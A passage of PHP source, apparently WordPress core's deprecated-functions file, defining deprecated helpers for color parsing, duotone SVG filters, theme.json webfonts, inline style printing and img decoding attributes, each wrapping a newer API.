 * Direct port of TinyColor's function, lightly simplified to maintain
 * consistency with TinyColor.
 *
 * @link https://github.com/bgrins/TinyColor
 * @link https://github.com/casesandberg/react-color/
 *
 * @since 5.8.0
 * @since 5.9.0 Added alpha processing.
 * @deprecated 6.3.0
 *
 * @access private
 *
 * @param string $color_str CSS color string.
 * @return array RGB object.
 */
function wp_tinycolor_string_to_rgb( $color_str ) {
	_deprecated_function( __FUNCTION__, '6.3.0' );

	$color_str = strtolower( trim( $color_str ) );

	$css_integer = '[-\\+]?\\d+%?';
	$css_number  = '[-\\+]?\\d*\\.\\d+%?';

	$css_unit = '(?:' . $css_number . ')|(?:' . $css_integer . ')';

	$permissive_match3 = '[\\s|\\(]+(' . $css_unit . ')[,|\\s]+(' . $css_unit . ')[,|\\s]+(' . $css_unit . ')\\s*\\)?';
	$permissive_match4 = '[\\s|\\(]+(' . $css_unit . ')[,|\\s]+(' . $css_unit . ')[,|\\s]+(' . $css_unit . ')[,|\\s]+(' . $css_unit . ')\\s*\\)?';

	$rgb_regexp = '/^rgb' . $permissive_match3 . '$/';
	if ( preg_match( $rgb_regexp, $color_str, $match ) ) {
		$rgb = wp_tinycolor_rgb_to_rgb(
			array(
				'r' => $match[1],
				'g' => $match[2],
				'b' => $match[3],
			)
		);

		$rgb['a'] = 1;

		return $rgb;
	}

	$rgba_regexp = '/^rgba' . $permissive_match4 . '$/';
	if ( preg_match( $rgba_regexp, $color_str, $match ) ) {
		$rgb = wp_tinycolor_rgb_to_rgb(
			array(
				'r' => $match[1],
				'g' => $match[2],
				'b' => $match[3],
			)
		);

		$rgb['a'] = _wp_tinycolor_bound_alpha( $match[4] );

		return $rgb;
	}

	$hsl_regexp = '/^hsl' . $permissive_match3 . '$/';
	if ( preg_match( $hsl_regexp, $color_str, $match ) ) {
		$rgb = wp_tinycolor_hsl_to_rgb(
			array(
				'h' => $match[1],
				's' => $match[2],
				'l' => $match[3],
			)
		);

		$rgb['a'] = 1;

		return $rgb;
	}

	$hsla_regexp = '/^hsla' . $permissive_match4 . '$/';
	if ( preg_match( $hsla_regexp, $color_str, $match ) ) {
		$rgb = wp_tinycolor_hsl_to_rgb(
			array(
				'h' => $match[1],
				's' => $match[2],
				'l' => $match[3],
			)
		);

		$rgb['a'] = _wp_tinycolor_bound_alpha( $match[4] );

		return $rgb;
	}

	$hex8_regexp = '/^#?([0-9a-fA-F]{2})([0-9a-fA-F]{2})([0-9a-fA-F]{2})([0-9a-fA-F]{2})$/';
	if ( preg_match( $hex8_regexp, $color_str, $match ) ) {
		$rgb = wp_tinycolor_rgb_to_rgb(
			array(
				'r' => base_convert( $match[1], 16, 10 ),
				'g' => base_convert( $match[2], 16, 10 ),
				'b' => base_convert( $match[3], 16, 10 ),
			)
		);

		$rgb['a'] = _wp_tinycolor_bound_alpha(
			base_convert( $match[4], 16, 10 ) / 255
		);

		return $rgb;
	}

	$hex6_regexp = '/^#?([0-9a-fA-F]{2})([0-9a-fA-F]{2})([0-9a-fA-F]{2})$/';
	if ( preg_match( $hex6_regexp, $color_str, $match ) ) {
		$rgb = wp_tinycolor_rgb_to_rgb(
			array(
				'r' => base_convert( $match[1], 16, 10 ),
				'g' => base_convert( $match[2], 16, 10 ),
				'b' => base_convert( $match[3], 16, 10 ),
			)
		);

		$rgb['a'] = 1;

		return $rgb;
	}

	$hex4_regexp = '/^#?([0-9a-fA-F]{1})([0-9a-fA-F]{1})([0-9a-fA-F]{1})([0-9a-fA-F]{1})$/';
	if ( preg_match( $hex4_regexp, $color_str, $match ) ) {
		$rgb = wp_tinycolor_rgb_to_rgb(
			array(
				'r' => base_convert( $match[1] . $match[1], 16, 10 ),
				'g' => base_convert( $match[2] . $match[2], 16, 10 ),
				'b' => base_convert( $match[3] . $match[3], 16, 10 ),
			)
		);

		$rgb['a'] = _wp_tinycolor_bound_alpha(
			base_convert( $match[4] . $match[4], 16, 10 ) / 255
		);

		return $rgb;
	}

	$hex3_regexp = '/^#?([0-9a-fA-F]{1})([0-9a-fA-F]{1})([0-9a-fA-F]{1})$/';
	if ( preg_match( $hex3_regexp, $color_str, $match ) ) {
		$rgb = wp_tinycolor_rgb_to_rgb(
			array(
				'r' => base_convert( $match[1] . $match[1], 16, 10 ),
				'g' => base_convert( $match[2] . $match[2], 16, 10 ),
				'b' => base_convert( $match[3] . $match[3], 16, 10 ),
			)
		);

		$rgb['a'] = 1;

		return $rgb;
	}

	/*
	 * The JS color picker considers the string "transparent" to be a hex value,
	 * so we need to handle it here as a special case.
	 */
	if ( 'transparent' === $color_str ) {
		return array(
			'r' => 0,
			'g' => 0,
			'b' => 0,
			'a' => 0,
		);
	}
}

/**
 * Returns the prefixed id for the duotone filter for use as a CSS id.
 *
 * @since 5.9.1
 * @deprecated 6.3.0
 *
 * @access private
 *
 * @param array $preset Duotone preset value as seen in theme.json.
 * @return string Duotone filter CSS id.
 */
function wp_get_duotone_filter_id( $preset ) {
	_deprecated_function( __FUNCTION__, '6.3.0' );
	return WP_Duotone::get_filter_id_from_preset( $preset );
}

/**
 * Returns the CSS filter property url to reference the rendered SVG.
 *
 * @since 5.9.0
 * @since 6.1.0 Allow unset for preset colors.
 * @deprecated 6.3.0
 *
 * @access private
 *
 * @param array $preset Duotone preset value as seen in theme.json.
 * @return string Duotone CSS filter property url value.
 */
function wp_get_duotone_filter_property( $preset ) {
	_deprecated_function( __FUNCTION__, '6.3.0' );
	return WP_Duotone::get_filter_css_property_value_from_preset( $preset );
}

/**
 * Returns the duotone filter SVG string for the preset.
 *
 * @since 5.9.1
 * @deprecated 6.3.0
 *
 * @access private
 *
 * @param array $preset Duotone preset value as seen in theme.json.
 * @return string Duotone SVG filter.
 */
function wp_get_duotone_filter_svg( $preset ) {
	_deprecated_function( __FUNCTION__, '6.3.0' );
	return WP_Duotone::get_filter_svg_from_preset( $preset );
}

/**
 * Registers the style and colors block attributes for block types that support it.
 *
 * @since 5.8.0
 * @deprecated 6.3.0 Use WP_Duotone::register_duotone_support() instead.
 *
 * @access private
 *
 * @param WP_Block_Type $block_type Block Type.
 */
function wp_register_duotone_support( $block_type ) {
	_deprecated_function( __FUNCTION__, '6.3.0', 'WP_Duotone::register_duotone_support()' );
	return WP_Duotone::register_duotone_support( $block_type );
}

/**
 * Renders out the duotone stylesheet and SVG.
 *
 * @since 5.8.0
 * @since 6.1.0 Allow unset for preset colors.
 * @deprecated 6.3.0 Use WP_Duotone::render_duotone_support() instead.
 *
 * @access private
 *
 * @param string $block_content Rendered block content.
 * @param array  $block         Block object.
 * @return string Filtered block content.
 */
function wp_render_duotone_support( $block_content, $block ) {
	_deprecated_function( __FUNCTION__, '6.3.0', 'WP_Duotone::render_duotone_support()' );
	$wp_block = new WP_Block( $block );
	return WP_Duotone::render_duotone_support( $block_content, $block, $wp_block );
}

/**
 * Returns a string containing the SVGs to be referenced as filters (duotone).
 *
 * @since 5.9.1
 * @deprecated 6.3.0 SVG generation is handled on a per-block basis in block supports.
 *
 * @return string
 */
function wp_get_global_styles_svg_filters() {
	_deprecated_function( __FUNCTION__, '6.3.0' );

	/*
	 * Ignore cache when the development mode is set to 'theme', so it doesn't interfere with the theme
	 * developer's workflow.
	 */
	$can_use_cached = ! wp_is_development_mode( 'theme' );
	$cache_group    = 'theme_json';
	$cache_key      = 'wp_get_global_styles_svg_filters';
	if ( $can_use_cached ) {
		$cached = wp_cache_get( $cache_key, $cache_group );
		if ( $cached ) {
			return $cached;
		}
	}

	$supports_theme_json = wp_theme_has_theme_json();

	$origins = array( 'default', 'theme', 'custom' );
	if ( ! $supports_theme_json ) {
		$origins = array( 'default' );
	}

	$tree = WP_Theme_JSON_Resolver::get_merged_data();
	$svgs = $tree->get_svg_filters( $origins );

	if ( $can_use_cached ) {
		wp_cache_set( $cache_key, $svgs, $cache_group );
	}

	return $svgs;
}

/**
 * Renders the SVG filters supplied by theme.json.
 *
 * Note that this doesn't render the per-block user-defined
 * filters which are handled by wp_render_duotone_support,
 * but it should be rendered before the filtered content
 * in the body to satisfy Safari's rendering quirks.
 *
 * @since 5.9.1
 * @deprecated 6.3.0 SVG generation is handled on a per-block basis in block supports.
 */
function wp_global_styles_render_svg_filters() {
	_deprecated_function( __FUNCTION__, '6.3.0' );

	/*
	 * When calling via the in_admin_header action, we only want to render the
	 * SVGs on block editor pages.
	 */
	if (
		is_admin() &&
		! get_current_screen()->is_block_editor()
	) {
		return;
	}

	$filters = wp_get_global_styles_svg_filters();
	if ( ! empty( $filters ) ) {
		echo $filters;
	}
}

/**
 * Build an array with CSS classes and inline styles defining the colors
 * which will be applied to the navigation markup in the front-end.
 *
 * @since 5.9.0
 * @deprecated 6.3.0 This was removed from the Navigation Submenu block in favour of `wp_apply_colors_support()`.
 *                   `wp_apply_colors_support()` returns an array with similar class and style values,
 *                   but with different keys: `class` and `style`.
 *
 * @param  array $context     Navigation block context.
 * @param  array $attributes  Block attributes.
 * @param  bool  $is_sub_menu Whether the block is a sub-menu.
 * @return array Colors CSS classes and inline styles.
 */
function block_core_navigation_submenu_build_css_colors( $context, $attributes, $is_sub_menu = false ) {
	_deprecated_function( __FUNCTION__, '6.3.0' );
	$colors = array(
		'css_classes'   => array(),
		'inline_styles' => '',
	);

	// Text color.
	$named_text_color  = null;
	$custom_text_color = null;

	if ( $is_sub_menu && array_key_exists( 'customOverlayTextColor', $context ) ) {
		$custom_text_color = $context['customOverlayTextColor'];
	} elseif ( $is_sub_menu && array_key_exists( 'overlayTextColor', $context ) ) {
		$named_text_color = $context['overlayTextColor'];
	} elseif ( array_key_exists( 'customTextColor', $context ) ) {
		$custom_text_color = $context['customTextColor'];
	} elseif ( array_key_exists( 'textColor', $context ) ) {
		$named_text_color = $context['textColor'];
	} elseif ( isset( $context['style']['color']['text'] ) ) {
		$custom_text_color = $context['style']['color']['text'];
	}

	// If has text color.
	if ( ! is_null( $named_text_color ) ) {
		// Add the color class.
		array_push( $colors['css_classes'], 'has-text-color', sprintf( 'has-%s-color', $named_text_color ) );
	} elseif ( ! is_null( $custom_text_color ) ) {
		// Add the custom color inline style.
		$colors['css_classes'][]  = 'has-text-color';
		$colors['inline_styles'] .= sprintf( 'color: %s;', $custom_text_color );
	}

	// Background color.
	$named_background_color  = null;
	$custom_background_color = null;

	if ( $is_sub_menu && array_key_exists( 'customOverlayBackgroundColor', $context ) ) {
		$custom_background_color = $context['customOverlayBackgroundColor'];
	} elseif ( $is_sub_menu && array_key_exists( 'overlayBackgroundColor', $context ) ) {
		$named_background_color = $context['overlayBackgroundColor'];
	} elseif ( array_key_exists( 'customBackgroundColor', $context ) ) {
		$custom_background_color = $context['customBackgroundColor'];
	} elseif ( array_key_exists( 'backgroundColor', $context ) ) {
		$named_background_color = $context['backgroundColor'];
	} elseif ( isset( $context['style']['color']['background'] ) ) {
		$custom_background_color = $context['style']['color']['background'];
	}

	// If has background color.
	if ( ! is_null( $named_background_color ) ) {
		// Add the background-color class.
		array_push( $colors['css_classes'], 'has-background', sprintf( 'has-%s-background-color', $named_background_color ) );
	} elseif ( ! is_null( $custom_background_color ) ) {
		// Add the custom background-color inline style.
		$colors['css_classes'][]  = 'has-background';
		$colors['inline_styles'] .= sprintf( 'background-color: %s;', $custom_background_color );
	}

	return $colors;
}

/**
 * Runs the theme.json webfonts handler.
 *
 * Using `WP_Theme_JSON_Resolver`, it gets the fonts defined
 * in the `theme.json` for the current selection and style
 * variations, validates the font-face properties, generates
 * the '@font-face' style declarations, and then enqueues the
 * styles for both the editor and front-end.
 *
 * Design Notes:
 * This is not a public API, but rather an internal handler.
 * A future public Webfonts API will replace this stopgap code.
 *
 * This code design is intentional.
 *    a. It hides the inner-workings.
 *    b. It does not expose API ins or outs for consumption.
 *    c. It only works with a theme's `theme.json`.
 *
 * Why?
 *    a. To avoid backwards-compatibility issues when
 *       the Webfonts API is introduced in Core.
 *    b. To make `fontFace` declarations in `theme.json` work.
 *
 * @link  https://github.com/WordPress/gutenberg/issues/40472
 *
 * @since 6.0.0
 * @deprecated 6.4.0 Use wp_print_font_faces() instead.
 * @access private
 */
function _wp_theme_json_webfonts_handler() {
	_deprecated_function( __FUNCTION__, '6.4.0', 'wp_print_font_faces' );

	// Block themes are unavailable during installation.
	if ( wp_installing() ) {
		return;
	}

	if ( ! wp_theme_has_theme_json() ) {
		return;
	}

	// Webfonts to be processed.
	$registered_webfonts = array();

	/**
	 * Gets the webfonts from theme.json.
	 *
	 * @since 6.0.0
	 *
	 * @return array Array of defined webfonts.
	 */
	$fn_get_webfonts_from_theme_json = static function() {
		// Get settings from theme.json.
		$settings = WP_Theme_JSON_Resolver::get_merged_data()->get_settings();

		// If in the editor, add webfonts defined in variations.
		if ( is_admin() || wp_is_rest_endpoint() ) {
			$variations = WP_Theme_JSON_Resolver::get_style_variations();
			foreach ( $variations as $variation ) {
				// Skip if fontFamilies are not defined in the variation.
				if ( empty( $variation['settings']['typography']['fontFamilies'] ) ) {
					continue;
				}

				// Initialize the array structure.
				if ( empty( $settings['typography'] ) ) {
					$settings['typography'] = array();
				}
				if ( empty( $settings['typography']['fontFamilies'] ) ) {
					$settings['typography']['fontFamilies'] = array();
				}
				if ( empty( $settings['typography']['fontFamilies']['theme'] ) ) {
					$settings['typography']['fontFamilies']['theme'] = array();
				}

				// Combine variations with settings. Remove duplicates.
				$settings['typography']['fontFamilies']['theme'] = array_merge( $settings['typography']['fontFamilies']['theme'], $variation['settings']['typography']['fontFamilies']['theme'] );
				$settings['typography']['fontFamilies']          = array_unique( $settings['typography']['fontFamilies'] );
			}
		}

		// Bail out early if there are no settings for webfonts.
		if ( empty( $settings['typography']['fontFamilies'] ) ) {
			return array();
		}

		$webfonts = array();

		// Look for fontFamilies.
		foreach ( $settings['typography']['fontFamilies'] as $font_families ) {
			foreach ( $font_families as $font_family ) {

				// Skip if fontFace is not defined.
				if ( empty( $font_family['fontFace'] ) ) {
					continue;
				}

				// Skip if fontFace is not an array of webfonts.
				if ( ! is_array( $font_family['fontFace'] ) ) {
					continue;
				}

				$webfonts = array_merge( $webfonts, $font_family['fontFace'] );
			}
		}

		return $webfonts;
	};

	/**
	 * Transforms each 'src' into an URI by replacing 'file:./'
	 * placeholder from theme.json.
	 *
	 * The absolute path to the webfont file(s) cannot be defined in
	 * theme.json. `file:./` is the placeholder which is replaced by
	 * the theme's URL path to the theme's root.
	 *
	 * @since 6.0.0
	 *
	 * @param array $src Webfont file(s) `src`.
	 * @return array Webfont's `src` in URI.
	 */
	$fn_transform_src_into_uri = static function( array $src ) {
		foreach ( $src as $key => $url ) {
			// Tweak the URL to be relative to the theme root.
			if ( ! str_starts_with( $url, 'file:./' ) ) {
				continue;
			}

			$src[ $key ] = get_theme_file_uri( str_replace( 'file:./', '', $url ) );
		}

		return $src;
	};

	/**
	 * Converts the font-face properties (i.e. keys) into kebab-case.
	 *
	 * @since 6.0.0
	 *
	 * @param array $font_face Font face to convert.
	 * @return array Font faces with each property in kebab-case format.
	 */
	$fn_convert_keys_to_kebab_case = static function( array $font_face ) {
		foreach ( $font_face as $property => $value ) {
			$kebab_case               = _wp_to_kebab_case( $property );
			$font_face[ $kebab_case ] = $value;
			if ( $kebab_case !== $property ) {
				unset( $font_face[ $property ] );
			}
		}

		return $font_face;
	};

	/**
	 * Validates a webfont.
	 *
	 * @since 6.0.0
	 *
	 * @param array $webfont The webfont arguments.
	 * @return array|false The validated webfont arguments, or false if the webfont is invalid.
	 */
	$fn_validate_webfont = static function( $webfont ) {
		$webfont = wp_parse_args(
				$webfont,
				array(
						'font-family'  => '',
						'font-style'   => 'normal',
						'font-weight'  => '400',
						'font-display' => 'fallback',
						'src'          => array(),
				)
		);

		// Check the font-family.
		if ( empty( $webfont['font-family'] ) || ! is_string( $webfont['font-family'] ) ) {
			trigger_error( __( 'Webfont font family must be a non-empty string.' ) );

			return false;
		}

		// Check that the `src` property is defined and a valid type.
		if ( empty( $webfont['src'] ) || ( ! is_string( $webfont['src'] ) && ! is_array( $webfont['src'] ) ) ) {
			trigger_error( __( 'Webfont src must be a non-empty string or an array of strings.' ) );

			return false;
		}

		// Validate the `src` property.
		foreach ( (array) $webfont['src'] as $src ) {
			if ( ! is_string( $src ) || '' === trim( $src ) ) {
				trigger_error( __( 'Each webfont src must be a non-empty string.' ) );

				return false;
			}
		}

		// Check the font-weight.
		if ( ! is_string( $webfont['font-weight'] ) && ! is_int( $webfont['font-weight'] ) ) {
			trigger_error( __( 'Webfont font weight must be a properly formatted string or integer.' ) );

			return false;
		}

		// Check the font-display.
		if ( ! in_array( $webfont['font-display'], array( 'auto', 'block', 'fallback', 'optional', 'swap' ), true ) ) {
			$webfont['font-display'] = 'fallback';
		}

		$valid_props = array(
				'ascend-override',
				'descend-override',
				'font-display',
				'font-family',
				'font-stretch',
				'font-style',
				'font-weight',
				'font-variant',
				'font-feature-settings',
				'font-variation-settings',
				'line-gap-override',
				'size-adjust',
				'src',
				'unicode-range',
		);

		foreach ( $webfont as $prop => $value ) {
			if ( ! in_array( $prop, $valid_props, true ) ) {
				unset( $webfont[ $prop ] );
			}
		}

		return $webfont;
	};

	/**
	 * Registers webfonts declared in theme.json.
	 *
	 * @since 6.0.0
	 *
	 * @uses $registered_webfonts To access and update the registered webfonts registry (passed by reference).
	 * @uses $fn_get_webfonts_from_theme_json To run the function that gets the webfonts from theme.json.
	 * @uses $fn_convert_keys_to_kebab_case To run the function that converts keys into kebab-case.
	 * @uses $fn_validate_webfont To run the function that validates each font-face (webfont) from theme.json.
	 */
	$fn_register_webfonts = static function() use ( &$registered_webfonts, $fn_get_webfonts_from_theme_json, $fn_convert_keys_to_kebab_case, $fn_validate_webfont, $fn_transform_src_into_uri ) {
		$registered_webfonts = array();

		foreach ( $fn_get_webfonts_from_theme_json() as $webfont ) {
			if ( ! is_array( $webfont ) ) {
				continue;
			}

			$webfont = $fn_convert_keys_to_kebab_case( $webfont );

			$webfont = $fn_validate_webfont( $webfont );

			$webfont['src'] = $fn_transform_src_into_uri( (array) $webfont['src'] );

			// Skip if not valid.
			if ( empty( $webfont ) ) {
				continue;
			}

			$registered_webfonts[] = $webfont;
		}
	};

	/**
	 * Orders 'src' items to optimize for browser support.
	 *
	 * @since 6.0.0
	 *
	 * @param array $webfont Webfont to process.
	 * @return array Ordered `src` items.
	 */
	$fn_order_src = static function( array $webfont ) {
		$src         = array();
		$src_ordered = array();

		foreach ( $webfont['src'] as $url ) {
			// Add data URIs first.
			if ( str_starts_with( trim( $url ), 'data:' ) ) {
				$src_ordered[] = array(
						'url'    => $url,
						'format' => 'data',
				);
				continue;
			}
			$format         = pathinfo( $url, PATHINFO_EXTENSION );
			$src[ $format ] = $url;
		}

		// Add woff2.
		if ( ! empty( $src['woff2'] ) ) {
			$src_ordered[] = array(
					'url'    => sanitize_url( $src['woff2'] ),
					'format' => 'woff2',
			);
		}

		// Add woff.
		if ( ! empty( $src['woff'] ) ) {
			$src_ordered[] = array(
					'url'    => sanitize_url( $src['woff'] ),
					'format' => 'woff',
			);
		}

		// Add ttf.
		if ( ! empty( $src['ttf'] ) ) {
			$src_ordered[] = array(
					'url'    => sanitize_url( $src['ttf'] ),
					'format' => 'truetype',
			);
		}

		// Add eot.
		if ( ! empty( $src['eot'] ) ) {
			$src_ordered[] = array(
					'url'    => sanitize_url( $src['eot'] ),
					'format' => 'embedded-opentype',
			);
		}

		// Add otf.
		if ( ! empty( $src['otf'] ) ) {
			$src_ordered[] = array(
					'url'    => sanitize_url( $src['otf'] ),
					'format' => 'opentype',
			);
		}
		$webfont['src'] = $src_ordered;

		return $webfont;
	};

	/**
	 * Compiles the 'src' into valid CSS.
	 *
	 * @since 6.0.0
	 * @since 6.2.0 Removed local() CSS.
	 *
	 * @param string $font_family Font family.
	 * @param array  $value       Value to process.
	 * @return string The CSS.
	 */
	$fn_compile_src = static function( $font_family, array $value ) {
		$src = '';

		foreach ( $value as $item ) {
			$src .= ( 'data' === $item['format'] )
					? ", url({$item['url']})"
					: ", url('{$item['url']}') format('{$item['format']}')";
		}

		$src = ltrim( $src, ', ' );

		return $src;
	};

	/**
	 * Compiles the font variation settings.
	 *
	 * @since 6.0.0
	 *
	 * @param array $font_variation_settings Array of font variation settings.
	 * @return string The CSS.
	 */
	$fn_compile_variations = static function( array $font_variation_settings ) {
		$variations = '';

		foreach ( $font_variation_settings as $key => $value ) {
			$variations .= "$key $value";
		}

		return $variations;
	};

	/**
	 * Builds the font-family's CSS.
	 *
	 * @since 6.0.0
	 *
	 * @uses $fn_compile_src To run the function that compiles the src.
	 * @uses $fn_compile_variations To run the function that compiles the variations.
	 *
	 * @param array $webfont Webfont to process.
	 * @return string This font-family's CSS.
	 */
	$fn_build_font_face_css = static function( array $webfont ) use ( $fn_compile_src, $fn_compile_variations ) {
		$css = '';

		// Wrap font-family in quotes if it contains spaces.
		if (
				str_contains( $webfont['font-family'], ' ' ) &&
				! str_contains( $webfont['font-family'], '"' ) &&
				! str_contains( $webfont['font-family'], "'" )
		) {
			$webfont['font-family'] = '"' . $webfont['font-family'] . '"';
		}

		foreach ( $webfont as $key => $value ) {
			/*
			 * Skip "provider", since it's for internal API use,
			 * and not a valid CSS property.
			 */
			if ( 'provider' === $key ) {
				continue;
			}

			// Compile the "src" parameter.
			if ( 'src' === $key ) {
				$value = $fn_compile_src( $webfont['font-family'], $value );
			}

			// If font-variation-settings is an array, convert it to a string.
			if ( 'font-variation-settings' === $key && is_array( $value ) ) {
				$value = $fn_compile_variations( $value );
			}

			if ( ! empty( $value ) ) {
				$css .= "$key:$value;";
			}
		}

		return $css;
	};

	/**
	 * Gets the '@font-face' CSS styles for locally-hosted font files.
	 *
	 * @since 6.0.0
	 *
	 * @uses $registered_webfonts To access and update the registered webfonts registry (passed by reference).
	 * @uses $fn_order_src To run the function that orders the src.
	 * @uses $fn_build_font_face_css To run the function that builds the font-face CSS.
	 *
	 * @return string The `@font-face` CSS.
	 */
	$fn_get_css = static function() use ( &$registered_webfonts, $fn_order_src, $fn_build_font_face_css ) {
		$css = '';

		foreach ( $registered_webfonts as $webfont ) {
			// Order the webfont's `src` items to optimize for browser support.
			$webfont = $fn_order_src( $webfont );

			// Build the @font-face CSS for this webfont.
			$css .= '@font-face{' . $fn_build_font_face_css( $webfont ) . '}';
		}

		return $css;
	};

	/**
	 * Generates and enqueues webfonts styles.
	 *
	 * @since 6.0.0
	 *
	 * @uses $fn_get_css To run the function that gets the CSS.
	 */
	$fn_generate_and_enqueue_styles = static function() use ( $fn_get_css ) {
		// Generate the styles.
		$styles = $fn_get_css();

		// Bail out if there are no styles to enqueue.
		if ( '' === $styles ) {
			return;
		}

		// Enqueue the stylesheet.
		wp_register_style( 'wp-webfonts', '' );
		wp_enqueue_style( 'wp-webfonts' );

		// Add the styles to the stylesheet.
		wp_add_inline_style( 'wp-webfonts', $styles );
	};

	/**
	 * Generates and enqueues editor styles.
	 *
	 * @since 6.0.0
	 *
	 * @uses $fn_get_css To run the function that gets the CSS.
	 */
	$fn_generate_and_enqueue_editor_styles = static function() use ( $fn_get_css ) {
		// Generate the styles.
		$styles = $fn_get_css();

		// Bail out if there are no styles to enqueue.
		if ( '' === $styles ) {
			return;
		}

		wp_add_inline_style( 'wp-block-library', $styles );
	};

	add_action( 'wp_loaded', $fn_register_webfonts );
	add_action( 'wp_enqueue_scripts', $fn_generate_and_enqueue_styles );
	add_action( 'admin_init', $fn_generate_and_enqueue_editor_styles );
}

/**
 * Prints the CSS in the embed iframe header.
 *
 * @since 4.4.0
 * @deprecated 6.4.0 Use wp_enqueue_embed_styles() instead.
 */
function print_embed_styles() {
	_deprecated_function( __FUNCTION__, '6.4.0', 'wp_enqueue_embed_styles' );

	$type_attr = current_theme_supports( 'html5', 'style' ) ? '' : ' type="text/css"';
	$suffix    = SCRIPT_DEBUG ? '' : '.min';
	?>
	<style<?php echo $type_attr; ?>>
		<?php echo file_get_contents( ABSPATH . WPINC . "/css/wp-embed-template$suffix.css" ); ?>
	</style>
	<?php
}

/**
 * Prints the important emoji-related styles.
 *
 * @since 4.2.0
 * @deprecated 6.4.0 Use wp_enqueue_emoji_styles() instead.
 */
function print_emoji_styles() {
	_deprecated_function( __FUNCTION__, '6.4.0', 'wp_enqueue_emoji_styles' );
	static $printed = false;

	if ( $printed ) {
		return;
	}

	$printed = true;

	$type_attr = current_theme_supports( 'html5', 'style' ) ? '' : ' type="text/css"';
	?>
	<style<?php echo $type_attr; ?>>
	img.wp-smiley,
	img.emoji {
		display: inline !important;
		border: none !important;
		box-shadow: none !important;
		height: 1em !important;
		width: 1em !important;
		margin: 0 0.07em !important;
		vertical-align: -0.1em !important;
		background: none !important;
		padding: 0 !important;
	}
	</style>
	<?php
}

/**
 * Prints style and scripts for the admin bar.
 *
 * @since 3.1.0
 * @deprecated 6.4.0 Use wp_enqueue_admin_bar_header_styles() instead.
 */
function wp_admin_bar_header() {
	_deprecated_function( __FUNCTION__, '6.4.0', 'wp_enqueue_admin_bar_header_styles' );
	$type_attr = current_theme_supports( 'html5', 'style' ) ? '' : ' type="text/css"';
	?>
	<style<?php echo $type_attr; ?> media="print">#wpadminbar { display:none; }</style>
	<?php
}

/**
 * Prints default admin bar callback.
 *
 * @since 3.1.0
 * @deprecated 6.4.0 Use wp_enqueue_admin_bar_bump_styles() instead.
 */
function _admin_bar_bump_cb() {
	_deprecated_function( __FUNCTION__, '6.4.0', 'wp_enqueue_admin_bar_bump_styles' );
	$type_attr = current_theme_supports( 'html5', 'style' ) ? '' : ' type="text/css"';
	?>
	<style<?php echo $type_attr; ?> media="screen">
	html { margin-top: 32px !important; }
	@media screen and ( max-width: 782px ) {
	  html { margin-top: 46px !important; }
	}
	</style>
	<?php
}

/**
 * Runs a remote HTTPS request to detect whether HTTPS supported, and stores potential errors.
 *
 * This internal function is called by a regular Cron hook to ensure HTTPS support is detected and maintained.
 *
 * @since 5.7.0
 * @deprecated 6.4.0 The `wp_update_https_detection_errors()` function is no longer used and has been replaced by
 *                   `wp_get_https_detection_errors()`. Previously the function was called by a regular Cron hook to
 *                    update the `https_detection_errors` option, but this is no longer necessary as the errors are
 *                    retrieved directly in Site Health and no longer used outside of Site Health.
 * @access private
 */
function wp_update_https_detection_errors() {
	_deprecated_function( __FUNCTION__, '6.4.0' );

	/**
	 * Short-circuits the process of detecting errors related to HTTPS support.
	 *
	 * Returning a `WP_Error` from the filter will effectively short-circuit the default logic of trying a remote
	 * request to the site over HTTPS, storing the errors array from the returned `WP_Error` instead.
	 *
	 * @since 5.7.0
	 * @deprecated 6.4.0 The `wp_update_https_detection_errors` filter is no longer used and has been replaced by `pre_wp_get_https_detection_errors`.
	 *
	 * @param null|WP_Error $pre Error object to short-circuit detection,
	 *                           or null to continue with the default behavior.
	 */
	$support_errors = apply_filters( 'pre_wp_update_https_detection_errors', null );
	if ( is_wp_error( $support_errors ) ) {
		update_option( 'https_detection_errors', $support_errors->errors );
		return;
	}

	$support_errors = wp_get_https_detection_errors();

	update_option( 'https_detection_errors', $support_errors );
}

/**
 * Adds `decoding` attribute to an `img` HTML tag.
 *
 * The `decoding` attribute allows developers to indicate whether the
 * browser can decode the image off the main thread (`async`), on the
 * main thread (`sync`) or as determined by the browser (`auto`).
 *
 * By default WordPress adds `decoding="async"` to images but developers
 * can use the {@see 'wp_img_tag_add_decoding_attr'} filter to modify this
 * to remove the attribute or set it to another accepted value.
 *
 * @since 6.1.0
 * @deprecated 6.4.0 Use wp_img_tag_add_loading_optimization_attrs() instead.
 * @see wp_img_tag_add_loading_optimization_attrs()
 *
 * @param string $image   The HTML `img` tag where the attribute should be added.
 * @param string $context Additional context to pass to the filters.
 * @return string Converted `img` tag with `decoding` attribute added.
 */
function wp_img_tag_add_decoding_attr( $image, $context ) {
	_deprecated_function( __FUNCTION__, '6.4.0', 'wp_img_tag_add_loading_optimization_attrs()' );

	/*
	 * Only apply the decoding attribute to images that have a src attribute that
	 * starts with a double quote, ensuring escaped JSON is also excluded.
	 */
	if ( ! str_contains( $image, ' src="' ) ) {
		return $image;
	}

	/** This action is documented in wp-includes/media.php */
	$value = apply_filters( 'wp_img_tag_add_decoding_attr', 'async', $image, $context );

	if ( in_array( $value, array( 'async', 'sync', 'auto' ), true ) ) {
		$image = str_replace( '<img ', '<img decoding="' . esc_attr( $value ) . '" ', $image );
	}

	return $image;
}

/**
 * Parses wp_template content and injects the active theme's
 * stylesheet as a theme attribute into each wp_template_part
 *
 * @since 5.9.0
 * @deprecated 6.4.0 Use traverse_and_serialize_blocks( parse_blocks( $template_content ), '_inject_theme_attribute_in_template_part_block' ) instead.
 * @access private
 *
 * @param string $template_content serialized wp_template content.
 * @return string Updated 'wp_template' content.
 */
function _inject_theme_attribute_in_block_template_content( $template_content ) {
	_deprecated_function(
		__FUNCTION__,
		'6.4.0',
		'traverse_and_serialize_blocks( parse_blocks( $template_content ), "_inject_theme_attribute_in_template_part_block" )'
	);

	$has_updated_content = false;
	$new_content         = '';
	$template_blocks     = parse_blocks( $template_content );

	$blocks = _flatten_blocks( $template_blocks );
	foreach ( $blocks as &$block ) {
		if (
			'core/template-part' === $block['blockName'] &&
			! isset( $block['attrs']['theme'] )
		) {
			$block['attrs']['theme'] = get_stylesheet();
			$has_updated_content     = true;
		}
	}

	if ( $has_updated_content ) {
		foreach ( $template_blocks as &$block ) {
			$new_content .= serialize_block( $block );
		}

		return $new_content;
	}

	return $template_content;
}

/**
 * Parses a block template and removes the theme attribute from each template part.
 *
 * @since 5.9.0
 * @deprecated 6.4.0 Use traverse_and_serialize_blocks( parse_blocks( $template_content ), '_remove_theme_attribute_from_template_part_block' ) instead.
 * @access private
 *
 * @param string $template_content Serialized block template content.
 * @return string Updated block template content.
 */
